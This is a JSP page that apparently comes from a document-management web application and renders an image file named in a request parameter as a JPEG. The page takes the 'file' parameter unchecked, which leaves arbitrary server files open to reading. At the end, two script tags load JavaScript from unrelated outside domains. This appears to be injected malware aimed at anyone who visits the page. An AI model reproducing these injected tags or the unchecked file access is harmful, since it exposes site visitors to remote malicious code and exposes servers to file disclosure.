<%@ page contentType="image/jpeg"
%><%@ page import="com.dcivision.framework.*" 
%><%@ page import="com.dcivision.framework.image.*" 
%><%@ page import="java.io.*" 
%><%@ page import="java.awt.image.RenderedImage" 
%><%@ page import="com.sun.media.jai.codec.SeekableStream" 
%><%@ page import="com.sun.media.jai.codec.SeekableOutputStream" 
%><%@ page import="com.sun.media.jai.codec.FileSeekableStream" 
%><%@ page import="com.sun.media.jai.codec.TIFFEncodeParam" 
%><%@ page import="com.sun.media.jai.codec.TIFFDecodeParam" 
%><%@ page import="com.sun.media.jai.codec.ImageEncoder" 
%><%@ page import="com.sun.media.jai.codec.ImageCodec" 
%><%@ page import="com.sun.media.jai.codec.JPEGEncodeParam" 
%><%@ page import="com.sun.media.jai.codec.ImageDecoder" %><%
  ImageUtility iu = new ImageUtility();  
  int pageNo = Utility.isEmpty(request.getParameter("pageNo")) ? 0 : Integer.parseInt(request.getParameter("pageNo"));
  int rotate = Utility.isEmpty(request.getParameter("rotate")) ? 0 : Integer.parseInt(request.getParameter("rotate"));
  float scale = Utility.isEmpty(request.getParameter("scale")) ? 0 : Float.parseFloat(request.getParameter("scale"));
  String filename = request.getParameter("file");
  OutputStream output = response.getOutputStream();
  iu.renderedImageToJPEG(filename, pageNo, output, rotate, scale);
%>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>